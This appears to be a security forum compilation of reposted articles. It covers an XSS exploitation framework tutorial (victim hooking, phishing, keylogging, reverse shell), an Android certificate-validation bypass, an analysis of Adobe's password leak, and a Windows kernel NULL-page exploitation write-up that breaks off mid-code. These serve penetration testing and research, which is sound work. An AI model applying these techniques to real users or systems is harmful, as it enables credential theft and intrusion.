[h=3]toolsmith: OWASP Xenotix XSS Exploit Framework[/h] Prerequisites Current Windows operating system Introduction Hard to believe this month’s toolsmith marks seven full years of delivering dynamic content and covering timely topics on the perpetually changing threat-scape information security practitioners face every day. I’ve endeavored to aid in that process 94 straight months in a row, still enjoy writing toolsmith as much as I did day one, and look forward to many more to come. How better to roll into our eighth year than by zooming back to one of my favorite topics, cross-site scripting (XSS), with the OWASP Xenotix XSS Exploit Framework. I’d asked readers and Twitter followers to vote for November’s topic and Xenotix won by quite a majority. This was timely as I’ve also seen renewed interest in my Anatomy of an XSS Attack published in the ISSA Journal more than five years ago in June 2008. Hard to believe XSS vulnerabilities still prevail but according to WhiteHat Security’s May 2013 Statistics report: 1) While no longer the most prevalent vulnerability, XSS is still #2 behind only Content Spoofing 2) While 50% of XSS vulnerabilities were resolved, up from 48% in 2011, it still took an average of 227 for sites to deploy repairs Per the 2013 OWASP Top 10, XSS is still #3 on the list. As such, good tools for assessing web applications for XSS vulnerabilities remain essential, and OWASP Xenotix XSS Exploit Framework fits the bill quite nicely. Ajin Abraham (@ajinabraham) is Xenotix’s developer and project lead; his feedback on this project supports the ongoing need for XSS awareness and enhanced testing capabilities. According to Ajin, most of the current pool of web application security tools still don't give XSS the full attention it deserves, an assertion he supports with their less than optimal detection rates and a high number of false positive. He has found that most of these tools use a payload database of about 70-150 payloads to scan for XSS. Most web application scanners, with the exception of few top notch proxies such as OWASP ZAP and Portswigger’s Burp Suite, don't provide much flexibility especially when dealing with headers and cookies. They typically have a predefined set of protocols or rules to follow and from a penetration tester’s perspective can be rather primitive. Overcoming some of these shortcomings is what led to the OWASP Xenotix XSS Exploit Framework. Xenotix is a penetration testing tool developed exclusively to detect and exploit XSS vulnerabilities. Ajin claims that Xenotix is unique in that it is currently the only XSS vulnerability scanner with zero false positives. He attributes this to the fact that it uses live payload reflection-based XSS detection via its powerful triple browser rendering engines, including Trident, WebKit and Gecko. Xenotix apparently has the world's second largest XSS payload database, allowing effective XSS detection and WAF bypass. Xenotix is also more than a vulnerability scanner as it also includes offensive XSS exploitation and information gathering modules useful in generating proofs of concept. For feature releases Ajin intends to implement additional elements such as an automated spider and an intelligent scanner that can choose payloads based on responses to increase efficiency and reduce overall scan time. He’s also working on an XSS payload inclusive of OSINT gathering which targets certain WAF's and web applications with specific payloads, as well as a better DOM scanner that works within the browser. Ajin welcomes support from the community. If you’re interested in the project and would like to contribute or develop, feel free to contact him via @ajinabraham, the OWASP Xenotix site, or the OpenSecurity site. Xenotix Configuration Xenotix installs really easily. Download the latest package (4.5 as this is written), unpack the RAR file, and execute Xenotix XSS Exploit Framework.exe. Keep in mind that antimalware/antivirus on Windows systems will detect xdrive.jar as a Trojan Downloader. Because that’s what it is. ;-) This is an enumeration and exploitation tool after all. Before you begin, watch Ajin’s YouTube regarding Xenotix 4.5 usage. There is no written documentation for this tool so the video is very helpful. There are additional for older editions that you may find useful as well. After installation, before you do anything else, click Settings, then Configure Server, check the Semi Persistent Hook box, then click Start. This will allow you to conduct information gathering and exploitation against victims once you’ve hooked them. Xenotix utilizes the Trident engine (Internet Explorer 7), the Webkit engine (Chrome 25), and the Gecko engine (Firefox 18), and includes three primary module sets: Scanner, Information Gathering, and XSS Exploitation as seen in Figure 1. [TABLE=class: tr-caption-container, align: center] [TR] [TD=align: center][/TD] [/TR] [TR] [TD=class: tr-caption, align: center]FIGURE 1: The Xenotix user interface [/TD] [/TR] [/TABLE] We’ll walk through examples of each below while taking advantage of intentional XSS vulnerabilities in the latest release of OWASPMutillidae II: Web Pwn in Mass Production. We covered Jeremy Druin’s (@webpwnized) Mutillidae in August 2012’s toolsmith and it’s only gotten better since. Xenotix Usage These steps assume you’ve installed Mutillidae II somewhere, ideally on a virtual machine, and are prepared to experiment as we walk through Xenotix here. Let’s begin with the Scanner modules. Using Mutillidae’s DNS Lookup under OWASP Top 10 à A2 Cross Site Scripting (XSS) à Reflected (First Order) à DNS Lookup. The vulnerable GET parameter is page and on POST is target_host. Keep in mind that as Xenotix will confirm vulnerabilities across all three engines, you’ll be hard pressed to manage output, particularly if you run in Auto Mode; there is no real reporting function with this tool at this time. I therefore suggest testing in Manual Mode. This allows you to step through each payload and as seen Figure 2, we get our first hit with payload 7 (of 1530). [TABLE=class: tr-caption-container, align: center] [TR] [TD=align: center][/TD] [/TR] [TR] [TD=class: tr-caption, align: center]FIGURE 2: Xenotix manual XSS scanning [/TD] [/TR] [/TABLE] You can also try the XSS Fuzzer where you replace parameter values with a marker,[X], and fuzz in Auto Mode. The XSS Fuzzer allows you to skip ahead to a specific payload if you know the payload position index. Circling back to the above mentioned POST parameter, I used the POST Request Scanner to build a request, establishing http://192.168.40.139/mutillidae/index.php?page=dns-lookup.php as the URL and setting target_host in Parameters. Clicking POST then populated the form as noted in Figure 3 and as with Manual mode, our first hits came with payload 7. [TABLE=class: tr-caption-container, align: center] [TR] [TD=align: center] [/TD] [/TR] [TR] [TD=class: tr-caption, align: center]FIGURE 3: Xenotix POST Request Scanner [/TD] [/TR] [/TABLE] You can also make use of Auto Mode, as well as DOM, Multiple Parameter, and Header Scanners, as well as a Hidden Parameter Detector. The Information Gathering modules are where we can really start to have fun with Xenotix. You first have to hook a victim browser to make use of this tool set. I set the Xenotix server to the host IP where Xenotix was running (rather than the default localhost setting) and checked the Semi Persistent Hook checkbox. The resulting payload of was then used with Mutillidae’s Pen Test Tool Lookup to hook a victim browser on a different system running Firefox on Windows 8.1. With the browser at my beck and call, I clicked Information Gathering where the Victim Fingerprinting module produced: Again, entirely accurate. The Information Gathering modules also include WAF Fingerprinting, as well as Ping, Port, and Internal Network Scans. Remember that, as is inherent to its very nature, these scans occur in the context of the victimized browser’s system as a function of cross-site scripting. Saving the most fun for last, let’s pwn this this thang! A quick click of XSS Exploitation offers us a plethora of module options. Remember, the victim browser is still hooked (xooked) via: I sent my victim browser a message as depicted in Figure 4 where I snapped the Send Message configuration and the result in the hooked browser. [TABLE=class: tr-caption-container, align: center] [TR] [TD=align: center][/TD] [/TR] [TR] [TD=class: tr-caption, align: center]FIGURE 4: A celebratory XSS message [/TD] [/TR] [/TABLE] Message boxes are cute, Tabnabbing is pretty darned cool, but what does real exploitation look like? I first fired up the Phisher module with Renren (the Chinese Facebook) as my target site, resulting in a Page Fetched and Injected message and Renren ready for login in the victim browser as evident in Figure 5. Note that my Xenotix server IP address is the destination IP in the URL window. [TABLE=class: tr-caption-container, align: center] [TR] [TD=align: center][/TD] [/TR] [TR] [TD=class: tr-caption, align: center]FIGURE 5: XSS phishing Renren [/TD] [/TR] [/TABLE] But wait, there’s more. When the victim user logs in, assuming I’m also running the Keylogger module, yep, you guessed it. Figure 6 includes keys logged. [TABLE=class: tr-caption-container, align: center] [TR] [TD=align: center][/TD] [/TR] [TR] [TD=class: tr-caption, align: center]FIGURE 6: Ima Owned is keylogged [/TD] [/TR] [/TABLE] Your Renren is my Renren. What? Credential theft is not enough for you? You want to deliver an executable binary? Xenotix includes a safe, handy sample.exe to prove your point during demos for clients and/or decision makers. Still not convinced? Need shell? You can choose from JavaScript, Reverse HTTP, and System Shell Access. My favorite, as shared in Figure 7, is reverse shell via a Firefox bootstrapped add-on as delivered by XSS Exploitation --> System Shell Access --> Firefox Add-on Reverse Shell. Just Start Listener, then Inject (assumes a hooked browser). [TABLE=class: tr-caption-container, align: center] [TR] [TD=align: center][/TD] [/TR] [TR] [TD=class: tr-caption, align: center]FIGURE 7: Got shell? [/TD] [/TR] [/TABLE] Assuming the victim happily accepts the add-on installation request (nothing a little social engineering can’t solve), you’ll have system level access. This makes pentesters very happy. There are even persistence options via Firefox add-ons, more fun than a frog in a glass of milk. In Conclusion While this tool won’t replace proxy scanning platforms such as Burp or ZAP, it will enhance them most righteously. Xenotix is GREAT for enumeration, information gathering, and most of all, exploitation. Without question add the OWASP Xenotix XSS Exploit Framework to your arsenal and as always, have fun but be safe. Great work, Ajin, looking forward to more, and thanks to the voters who selected Xenotix for this month’s topic. If you have comments, follow me on Twitter via @holisticinfosec or email if you have questions via russ at holisticinfosec dot org. Cheers…until next month. Acknowledgements Ajin Abraham, Information Security Enthusiast and Xenotix project lead Posted by Russ McRee at 12:47 PM Sursa: HolisticInfoSec: toolsmith: OWASP Xenotix XSS Exploit Framework

[h=2]Pentesting Windows Endpoints: Automatic Outbound Open Port Detection[/h] Video PDF Slides Sursa: Pentesting Windows Endpoints: Automatic Outbound Open Port Detection

[h=3]Patching an Android Application to Bypass Custom Certificate Validation[/h] By Gursev Kalra. One of the important tasks while performing mobile application security assessments is to be able to intercept the traffic (Man in The Middle, MiTM) between the mobile application and the server by a web proxy like Fiddler, Burp etc… This allows penetration tester to observe application behavior, modify the traffic and overcome the input restrictions enforced by application’s user interface to perform a holistic penetration test. Mobile applications exchanging sensitive data typically use the HTTPS protocol for data exchange as it allows them to perform server authentication to ensure a secure communication channel. The client authenticates the server by verifying server’s certificate against its trusted root certificate authority (CA) store and also checks the certificate’s common name against the domain name of the server presenting the certificate. To proxy (MiTM) the HTTPS traffic for mobile application, web proxy’s certificate is imported to the trusted root CA store otherwise the application may not function due to certificate errors. For most mobile application assessments you can just setup a web proxy to intercept mobile application’s SSL traffic by importing its certificate to device’s trusted root CA store. To ensure that the imported CA certificate works fine, its common to use the Android’s browser to visit a couple of SSL based websites and you should see that the browser accepts the MiTM’ed traffic without complaint. Typically, the native Android applications also uses the common trusted root CA store to validate server certificates, so no extra work is required to intercept their traffic. However, for some applications that could differ - let's take a look at how to handle those apps. [h=1]Analyzing the Unsuccessful MiTM[/h] When you launch the application under test and attempt to pass its traffic through the web proxy, the application will likely display an error screen indicating that it could not connect to the remote server because of no internet connection or it could not establish a connection for unknown reasons. If you're confident in your setup, the next step is to analyze the system logs and SSL cipher suite support. [h=2]logcat[/h] logcat is Android’s logging mechanism that is used to view application debug messages and logs. First run "adb logcat" to check if the application under test creates any stack trace indicating the cause of the error but there was none. The application may also leave debug logs indicating that the developers did a good job with the error handling or write debug messages that could potentially expose application internal working to prying eyes. [h=2]Common SSL Cipher suites[/h] When a web proxy acts as a MiTM between client and the server, it establishes two SSL communication channels. One channel is with the client to receive requests and return responses, the second channel is to forward application requests to the server and receive server responses. To establish these channels, the web proxy has to agree on common SSL cipher suits with both the client and the server and these cipher suites may not be the same as shown in the image below. You may see SSL proxying errors occur in one or both of the following scenarios which lead to failures while establishing a communication channel. Android application and the web proxy do not share any common SSL cipher suite. The web proxy and the server do not share any common SSL cipher suite. In both scenarios, the communication channel cannot be established and the application does not work. To analyze the above mentioned scenarios, fire up Wireshark to analyze SSL handshake between the application and the web proxy. If you don't see any issues in wireshark between the application and the proxy, issued a HTTPS request to the server within the web proxy to see if you have any issues there. If not, then you know the web proxy is capable of performing MiTM for the test application and there is something else going under the hood. [h=1]Custom Certificate Validation[/h] At this point you should start to look into the possibility of the application performing custom certificate validation to prevent the possibility of MiTM to monitor/modify its traffic flow. HTTPS clients can perform custom certificate validation by implementing the X509TrustManager interface and then using it for its HTTPS connections. The process of creating HTTPS connections with custom certificate validation is summarized below: Implement methods of the X509TrustManager interface as required. The server certificate validation code will live inside the checkServerTrusted method. This method will throw an exception if the certificate validation fails or will return void otherwise. Obtain a SSLContext instance. Create an instance of the X509TrustManager implementation and use it to initialize SSLContext. Obtain SSLSocketFactory from the SSLContext instance. Provide the SSLSocketFactory instance to setSSLSocketFactory method of the HttpsURLConnection. Instance of HttpsURLConnection class will then communicate with the server and will invoke checkServerTrusted method to perform custom server certificate validation. So, if you can decompile the code and search through it, you'll likely reveal the X509TrustManager implementation in one of the core security classes of the application. The next step is to patch the code preventing the MiTM and deploy it for testing. The image below shows two methods implemented for X509TrustManager from an example application. [h=1]Modifying checkServerTrusted Implementation[/h] The example image above shows implementation for two X509TrustManager methods, checkServerTrusted and checkClientTrusted. At this point it is important to point out that in the example above, both the methods behave in a similar way except that the former is used by client side code and the latter is used by server side code. If the certificate validation fails, the methods will throw an exception, otherwise they return void. The checkClientTrusted implementation above allows the server side code to validate client certificate. Since this functionality is not required inside the mobile application, this method can be empty and return void for the test application; which is equivalent to successful validation. However, the checkServerTrusted contains significant chunk of code performing the custom certificate validation which needs to be bypassed. To bypass certificate validation code inside the checkServerTrusted method for this example, I replaced its Dalvik code with the code from the checkClientTrusted method to return void, effectively bypassing the custom certificate check as shown in the image below. [h=1]Recompiling and Deploying the Modified Application[/h] Once you have all the checkServerTrusted invocations from set up to be successful, recompile the application with apkTool, sign it with SignApk and deploy it on the device. If you did it all right, the web proxy MiTM will work like a charm and you will be able view, modify and fuzz application traffic. Posted by OpenSecurity Research at 5:00 AM Sursa: Open Security Research: Patching an Android Application to Bypass Custom Certificate Validation

Cloud-Based Sandboxing: An Elevated Approach to Network Security By Aviv Raff on November 04, 2013 While the concept of sandboxing isn’t new, it wasn’t until a few years ago that it entered the mainstream network security vocabulary and enterprises began using on-premises sandboxing appliances to test suspicious executables for malware. And while the results have been impressive -- especially compared to systems that rely exclusively on signature-based antivirus software -- there has been some criticism of late with respect to sandboxing’s potential and, especially, its limitations. This criticism was nicely articulated in a recent article by IOActive Inc.’s CTO Gunter Ollmann, in which he argued that vendors who claim that this approach will stop all APTs and targeted attacks are flat out wrong because sandboxing appliances: · Stumble when it comes to stopping targeted threats that require users to perform certain actions; · Aren’t effective against threats that target less common desktop environments, such as those running 64-bit systems or are comprised of Apple, Android, Linux or non-Windows legacy devices; In response to this, the first thing to note is that Ollmann is correct and his warning is significant: sandboxing appliances cannot replace an existing security solution, and vendors who suggest otherwise are guilty of overly-aggressive marketing at best, and outright deception at worst. In truth, sandboxing can only augment an existing system – it cannot replace one. Yet with that being said, rumors of sandboxing’s demise are indeed greatly exaggerated. It certainly can and should be a big piece of the network security puzzle -- provided that enterprises elevate their approach. How high should they aim? To the cloud, of course! There are four key reasons why cloud-based sandboxes are qualitatively more effective than on-premise appliances: 1. Cloud-based sandboxes are free of hardware limitations, and therefore scalable and elastic. As a result, they can track malware over a period of hours or days -- instead of seconds or minutes -- to build robust malware profiles of targeted threats (such as the one that used a fake Mandiant APT1 report), or to uncover “Time Bomb” attacks that need to be simulated with custom times and dates (such as Shamoon). 2. Cloud-based sandboxes can be easily updated with any OS type and version, including those that aren’t part of a sandboxing appliance’s default set of images. Enterprises can also upload images and create their own custom environment. 3. Cloud-based sandboxes aren’t limited by geography. For example, attackers often target offices that are located in a different region than where the on-premise sandbox is running (typically the enterprise’s headquarters). As such, the attacker will not respond to the malware since it communicates from a different region. However, cloud-based sandboxes avoid this by allowing the malware to run from different locations worldwide. Based on these reasons, it’s easy to see why cloud-based sandboxing makes sense for CISOs and everyone else who is tasked with defending the network (and since there’s no new hardware or software to purchase, it also makes CFOs and those holding the enterprise’s purse strings quite happy). Yet, the beneficial picture I’ve painted here should not give rise to the error that some vendors have committed -- and that Ollmann has rightly criticized -- which is to suggest that cloud-based sandboxing will magically prevent 100% of APTs and targeted threats. That’s simply not possible, and likely will never be. Ultimately, the best approach is to rely on cloud-based sandboxing, alongside botnet interception, cloud-based traffic log analysis, security appliances, tools and technologies, to create a comprehensive network security system; one that levels the playing field, and gives enterprises a fighting chance against today’s surprisingly sophisticated, well-funded and insidious cyber criminal. Sursa: Cloud-Based Sandboxing: An Elevated Approach to Network Security | SecurityWeek.Com

Anatomy of a password disaster - Adobe's giant-sized cryptographic blunder by Paul Ducklin on November 4, 2013 One month ago today, we wrote about Adobe's giant data breach. As far as anyone knew, including Adobe, it affected about 3,000,000 customer records, which made it sound pretty bad right from the start. But worse was to come, as recent updates to the story bumped the number of affected customers to a whopping 38,000,000. We took Adobe to task for a lack of clarity in its breach notification. Our complaint One of our complaints was that Adobe said that it had lost encrypted passwords, when we thought the company ought to have said that it had lost hashed and salted passwords. As we explained at the time: [T]he passwords probably weren't encrypted, which would imply that Adobe could decrypt them and thus learn what password you had chosen. Today's norms for password storage use a one-way mathematical function called a hash that [...] uniquely depends on the password. [...] This means that you never actually store the password at all, encrypted or not. [...And] you also usually add some salt: a random string that you store with the user's ID and mix into the password when you compute the hash. Even if two users choose the same password, their salts will be different, so they'll end up with different hashes, which makes things much harder for an attacker. It seems we got it all wrong, in more than one way. Here's how, and why. The breach data A huge dump of the offending customer database was recently published online, weighing in at 4GB compressed, or just a shade under 10GB uncompressed, listing not just 38,000,000 breached records, but 150,000,000 of them. As breaches go, you may very well see this one in the book of Guinness World Records next year, which would make it astonishing enough on its own. But there's more. We used a sample of 1,000,000 items from the published dump to help you understand just how much more. ? Our sample wasn't selected strictly randomly. We took every tenth record from the first 300MB of the comressed dump until we reached 1,000,000 records. We think this provided a representative sample without requiring us to fetch all 150 million records. The dump looks like this: By inspection, the fields are as follows: Fewer than one in 10,000 of the entries have a username - those that do are almost exclusively limited to accounts at adobe.com and stream.com (a web analytics company). The user IDs, the email addresses and the usernames were unnecessary for our purpose, so we ignored them, simplifying the data as shown below. We kept the password hints, because they were very handy indeed, and converted the password data from base64 encoding to straight hexadecimal, making the length of each entry more obvious, like this: Encryption versus hashing The first question is, "Was Adobe telling the truth, after all, calling the passwords encrypted and not hashed?" Remember that hashes produce a fixed amount of output, regardless of how long the input is, so a table of the password data lengths strongly suggests that they aren't hashed: The password data certainly looks pseudorandom, as though it has been scrambled in some way, and since Adobe officially said it was encrypted, not hashed, we shall now take that claim at face value. The encryption algorithm The next question is, "What encryption algorithm?" We can rule out a stream cipher such as RC4 or Salsa-20, where encrypted strings are the same length as the plaintext. Stream ciphers are commonly used in network protocols so you can encrypt one byte at a time, without having to keep padding your input length to a multiple of a fixed number of bytes. With all data lengths a multiple of eight, we're almost certainly looking at a block cipher that works eight bytes (64 bits) at a time. That, in turn, suggests that we're looking at DES, or its more resilient modern derivative, Triple DES, usually abbreviated to 3DES. ? Other 64-bit block ciphers, such as IDEA, were once common, and the ineptitude we are about to reveal certainly doesn't rule out a home-made cipher of Adobe's own devising. But DES or 3DES are the most likely suspects. The use of a symmetric cipher here, assuming we're right, is an astonishing blunder, not least because it is both unnecessary and dangerous. Anyone who computes, guesses or acquires the decryption key immediately gets access to all the passwords in the database. On the other hand, a cryptographic hash would protect each password individually, with no "one size fits all" master key that could unscramble every password in one go - which is why UNIX systems have been storing passwords that way for about 40 years already. The encryption mode Now we need to ask ourselves, "What cipher mode was used?" There are two modes we're interested in: the fundamental 'raw block cipher mode' known as Electronic Code Book (ECB), where patterns in the plaintext are revealed in the ciphertext; and all the others, which mask input patterns even when the same input data is encrypted by the same key. The reason that ECB is never used other than as the basis for the more complex encryption modes is that the same input block encrypted with the same key always gives the same output. Even repetitions that aren't aligned with the blocksize retain astonishingly recognisable patterns, as the following images show. We took an RGB image of the Sophos logo, where each pixel (most of which are some sort of white or some sort of blue) takes three bytes, divided it into 8-byte blocks, and encrypted each one using DES in ECB mode. Treating the resulting output file as another RGB image delivers almost no disguise: Cipher modes that disguise plaintext patterns require more than just a key to get them started - they need a unique initialisation vector, or nonce (number used once), for each encrypted item. The nonce is combined with the key and the plaintext in some way, so that that the same input leads to a different output every time. If the shortest password data length above had been, say, 16 bytes, a good guess would have been that each password data item contained an 8-byte nonce and then at least one block's worth - another eight bytes - of encrypted data. Since the shortest password data blob is exactly one block length, leaving no room for a nonce, that clearly isn't how it works. Perhaps the encryption used the User ID of each entry, which we can assume is unique, as a counter-type nonce? But we can quickly tell that Adobe didn't do that by looking for plaintext patterns that are repeated in the encrypted blobs. Because there are 264 - close to 20 million million million - possible 64-bit values for each cipertext block, we should expect no repeated blocks anywhere in the 1,000,000 records of our sample set. That's not what we find, as the following repetition counts reveal: Remember that if ECB mode were not used, each block would have been expected to appear just once every 264 times, for a minuscule prevalence of about 5 x 10-18%. Password recovery Now let's work out, "What is the password that encrypts as 110edf2294fb8bf4 and the other common repeats?" If the past, all other things being equal, is the best indicator of the present, we might as well start with some statistics from a previous breach. When Gawker Media got hacked three years ago, for example, the top passwords that were extracted from the stolen hashes came out like this: (The word lifehack is a special case here - Lifehacker being one of Gawker's brands - but the others are easily-typed and commonly chosen, if very poor, passwords.) This previous data combined with the password hints leaked by Adobe makes building a crib sheet pretty easy: Note that the 8-character passwords 12345678 and password are actually encrypted into 16 bytes, denoting that the plaintext was at least 9 bytes long. It should come as no surprise to discover that this is because the input text consisted of: the password, followed by a zero byte (ASCII NUL), used to denote the end of a string in C; followed by seven NUL bytes to pad the input out to a multiple of 8 bytes to match the encryption's block size. In other words, we now know that e2a311ba09ab4707 is the ciphertext that signals an input block of eight zero bytes. That data shows up in the second ciphertext block in a whopping 27% of all passwords, which leaks to us immediately that all those 27% are exactly eight characters long. The scale of the blunder With very little effort, we have already recovered an awful lot of information about the breached passwords, including: identifying the top five passwords precisely, plus the 2.75% of users who chose them; and determining the exact password length of nearly one third of the database. So, now we've showed you how to get started in a case like this, you can probably imagine how much more is waiting to be squeezed out of "the greatest crossword puzzle in the history of the world," as satirical IT cartoon site XKCD dubbed it. Bear in mind that salted hashes - the recommended programmatic approach here - wouldn't have yielded up any such information - and you appreciate the magnitude of Adobe's blunder. There's more to concern youself with. Adobe also decribed the customer credit card data and other PII (Personally Identifiable Information) that was stolen in the same attack as "encrypted." And, as fellow Naked Security writer Mark Stockley asked, "Was that data encrypted with similar care and expertise, do you think? If you were on Adobe's breach list (and the silver lining is that all passwords have now been reset, forcing you to pick a new one), why not get in touch and ask for clarification? Sursa: Anatomy of a password disaster – Adobe’s giant-sized cryptographic blunder | Naked Security

Utilizing DNS to Identify Malware - Nathan Magniez Hack3rcon 4 DNS logs are an often overlooked asset in identifying malware in your network. The purpose of this talk to identify malware in the network through establishing DNS query and response baselines, analysis of NXDOMAIN responses, analysis of successful DNS lookups, and identifying domain name anomalies. This talk will give you the basics of what to look for in your own unique environment. Speakers Nathan Magniez Hack3rcon 4 Videos (Hacking Illustrated Series InfoSec Tutorial Videos) Sursa: ANOTHER Log to Analyze - Utilizing DNS to Identify Malware - Nathan Magniez Hack3rcon 4 (Hacking Illustrated Series InfoSec Tutorial Videos)

[h=3]Exploiting CVE-2013-3881: A Win32k NULL Page Vulnerability[/h] Microsoft Security Bulletin MS13-081 announced an elevation of privilege vulnerability [Microsoft Security Bulletin MS13-081 - Critical : Vulnerabilities in Windows Kernel-Mode Drivers Could Allow Remote Code Execution (2870008)]. Several days later Endgame published [Microsoft Win32k NULL Page Vulnerability Technical Analysis | Endgame.] some further details on the vulnerability in question but did not provide full exploitation details. In this post we will discuss how to successfully exploit CVE-2013-3881. [h=3]The Vulnerability[/h] The vulnerability resides in xxxTrackPopupMenuEx, this function is responsible for displaying shortcut menus and tracking user selections. During this process it will try to get a reference to the GlobalMenuState object via a call to xxxMNAllocMenuState, if the object is in use, for example: when another pop-up menu is already active, this function will try to create a new instance. If xxxMNAllocMenuState fails it will return False but it will also set the pGlobalMenuState thread global variable to NULL. The caller verifies the return value, and in case of failure it will try to do some cleanup in order to fail gracefully. During this cleanup the xxxEndMenuState procedure is called. This function's main responsibility is to free and unlock all the resources acquired and saved for the MenuState object, but it does not check that the pGlobalMenuState variable is not NULL before using it. As a result a bunch of kernel operations are performed on a kernel object whose address is zero and thus potentially controlled from userland memory on platforms that allow it. Triggering the vulnerability is relatively easy by just creating and displaying two popup instances and exhausting GDI objects for the current session, as explained by Endgame. However, actually getting code execution is not trivial. [h=3]Exploitation[/h] Usually a NULL dereference vulnerability in the kernel can be exploited by mapping memory at address zero in userland memory (when allowed by the OS), creating a fake object inside of this null page and then triggering the vulnerability in the kernel from the current process context of your exploit which has the null page mapped with attacker controlled data. With some luck we get a function pointer of some sort called from our controlled object data and we achieve code execution with Kernel privileges (e.g. this was the case of MS11-054). As such, NULL dereference vulnerabilities have for many years provided a simple and straightforward route to kernel exploitation and privilege escalation in scenarios where you are allowed to map at zero. Unfortunately in the case of CVE-2013-3881 life is not that simple, even on platforms that allow the null page to be allocated. When xxxTrackPopupMenuEx calls xxxMNAllocMenuState and fails, it will directly jump to destroy the (non-existant) MenuState object, and after some function calls, it will inevitably try to free the memory. This means that it does not matter if we create a perfectly valid object at region zero. At some point before xxxEndMenuState returns, a call to ExFreePoolWithTag(0x0, tag) will be made. This call will produce a system crash as it tries to access the pool headers which are normally located just before the poolAddress which in this case is at address 0. Thus the kernel tries to fetch at 0-minus something which is unallocated and/or uncontrolled memory and we trigger a BSOD. This means the only viable exploitation option is to try and get code execution before this Free occurs. [h=3]Situational Awareness[/h] At this point we try to understand the entire behavior of xxxEndMenuState, and all of the structures and objects being manipulated before we trigger any fatal crash. The main structure we have to deal with is the one that is being read from address zero, which is referenced from the pGlobalMenuState variable: win32k!tagMENUSTATE +0x000 pGlobalPopupMenu : Ptr32 tagPOPUPMENU +0x004 fMenuStarted : Pos 0, 1 Bit +0x004 fIsSysMenu : Pos 1, 1 Bit +0x004 fInsideMenuLoop : Pos 2, 1 Bit +0x004 fButtonDown : Pos 3, 1 Bit +0x004 fInEndMenu : Pos 4, 1 Bit +0x004 fUnderline : Pos 5, 1 Bit +0x004 fButtonAlwaysDown : Pos 6, 1 Bit +0x004 fDragging : Pos 7, 1 Bit +0x004 fModelessMenu : Pos 8, 1 Bit +0x004 fInCallHandleMenuMessages : Pos 9, 1 Bit +0x004 fDragAndDrop : Pos 10, 1 Bit +0x004 fAutoDismiss : Pos 11, 1 Bit +0x004 fAboutToAutoDismiss : Pos 12, 1 Bit +0x004 fIgnoreButtonUp : Pos 13, 1 Bit +0x004 fMouseOffMenu : Pos 14, 1 Bit +0x004 fInDoDragDrop : Pos 15, 1 Bit +0x004 fActiveNoForeground : Pos 16, 1 Bit +0x004 fNotifyByPos : Pos 17, 1 Bit +0x004 fSetCapture : Pos 18, 1 Bit +0x004 iAniDropDir : Pos 19, 5 Bits +0x008 ptMouseLast : tagPOINT +0x010 mnFocus : Int4B +0x014 cmdLast : Int4B +0x018 ptiMenuStateOwner : Ptr32 tagTHREADINFO +0x01c dwLockCount : Uint4B +0x020 pmnsPrev : Ptr32 tagMENUSTATE +0x024 ptButtonDown : tagPOINT +0x02c uButtonDownHitArea : Uint4B +0x030 uButtonDownIndex : Uint4B +0x034 vkButtonDown : Int4B +0x038 uDraggingHitArea : Uint4B +0x03c uDraggingIndex : Uint4B +0x040 uDraggingFlags : Uint4B +0x044 hdcWndAni : Ptr32 HDC__ +0x048 dwAniStartTime : Uint4B +0x04c ixAni : Int4B +0x050 iyAni : Int4B +0x054 cxAni : Int4B +0x058 cyAni : Int4B +0x05c hbmAni : Ptr32 HBITMAP__ +0x060 hdcAni : Ptr32 HDC__ This is the main object which xxxEndMenuState will deal with, it will perform a couple of actions using the object and finally attempts to free it with the call to ExFreePoolWithTag. The interaction with the object that occurs prior to the free are the ones we have to analyze deeply as they are our only hope in getting code execution before the imminent crash. xxxEndMenuState is a destructor, and as such it will first call the destructor of all the objects contained inside the main object before actually freeing their associated allocated memory, for example: _MNFreePopup(pGlobalMenuState->pGlobalPopupMenu) _UnlockMFMWFPWindow(pGlobalMenuState->uButtonDownHitArea) _UnlockMFMWFPWindow(pGlobalMenuState->uDraggingHitArea) _MNDestroyAnimationBitmap(pGlobalMenuState->hbmAni) The _MNFreePopup call is very interesting, as PopupMenu objects contain several WND objects and these have Handle references. This is relevant because if this WND object has its lock count equal to one when MNFreePopup is called, at some point it will try to destroy the object that the Handle is referencing. These objects are global to a user session. This means that we can force the deletion of any object within the current windows session, or at the very least decrement its reference count. win32k!tagPOPUPMENU +0x000 fIsMenuBar : Pos 0, 1 Bit +0x000 fHasMenuBar : Pos 1, 1 Bit +0x000 fIsSysMenu : Pos 2, 1 Bit +0x000 fIsTrackPopup : Pos 3, 1 Bit +0x000 fDroppedLeft : Pos 4, 1 Bit +0x000 fHierarchyDropped : Pos 5, 1 Bit +0x000 fRightButton : Pos 6, 1 Bit +0x000 fToggle : Pos 7, 1 Bit +0x000 fSynchronous : Pos 8, 1 Bit +0x000 fFirstClick : Pos 9, 1 Bit +0x000 fDropNextPopup : Pos 10, 1 Bit +0x000 fNoNotify : Pos 11, 1 Bit +0x000 fAboutToHide : Pos 12, 1 Bit +0x000 fShowTimer : Pos 13, 1 Bit +0x000 fHideTimer : Pos 14, 1 Bit +0x000 fDestroyed : Pos 15, 1 Bit +0x000 fDelayedFree : Pos 16, 1 Bit +0x000 fFlushDelayedFree : Pos 17, 1 Bit +0x000 fFreed : Pos 18, 1 Bit +0x000 fInCancel : Pos 19, 1 Bit +0x000 fTrackMouseEvent : Pos 20, 1 Bit +0x000 fSendUninit : Pos 21, 1 Bit +0x000 fRtoL : Pos 22, 1 Bit +0x000 iDropDir : Pos 23, 5 Bits +0x000 fUseMonitorRect : Pos 28, 1 Bit +0x004 spwndNotify : Ptr32 tagWND +0x008 spwndPopupMenu : Ptr32 tagWND +0x00c spwndNextPopup : Ptr32 tagWND +0x010 spwndPrevPopup : Ptr32 tagWND +0x014 spmenu : Ptr32 tagMENU +0x018 spmenuAlternate : Ptr32 tagMENU +0x01c spwndActivePopup : Ptr32 tagWND +0x020 ppopupmenuRoot : Ptr32 tagPOPUPMENU +0x024 ppmDelayedFree : Ptr32 tagPOPUPMENU +0x028 posSelectedItem : Uint4B +0x02c posDropped : Uint4B …... In order to understand why this is so useful, let's analyze what happens when a WND object is destroyed: pWND __stdcall HMUnlockObject(pWND pWndObject) { pWND result = pWndObject; pWndObject->cLockObj--; if (!pWndObject->cLockObj) result = HMUnlockObjectInternal(pWndObject); return result; } The first thing done is a decrement of the cLockObj counter, and if the counter is then zero the function HMUnlockObjectInternal is called. pWND __stdcall HMUnlockObjectInternal( pWND pWndObject) { pWND result; char v2; result = pWndObject; unsigned int entryIndex; pHandleEntry entry; entryIndex = pWndObject->handle & 0xFFFF; entry = gSharedInfo.aheList + gSharedInfo.HeEntrySize * entryIndex if ( 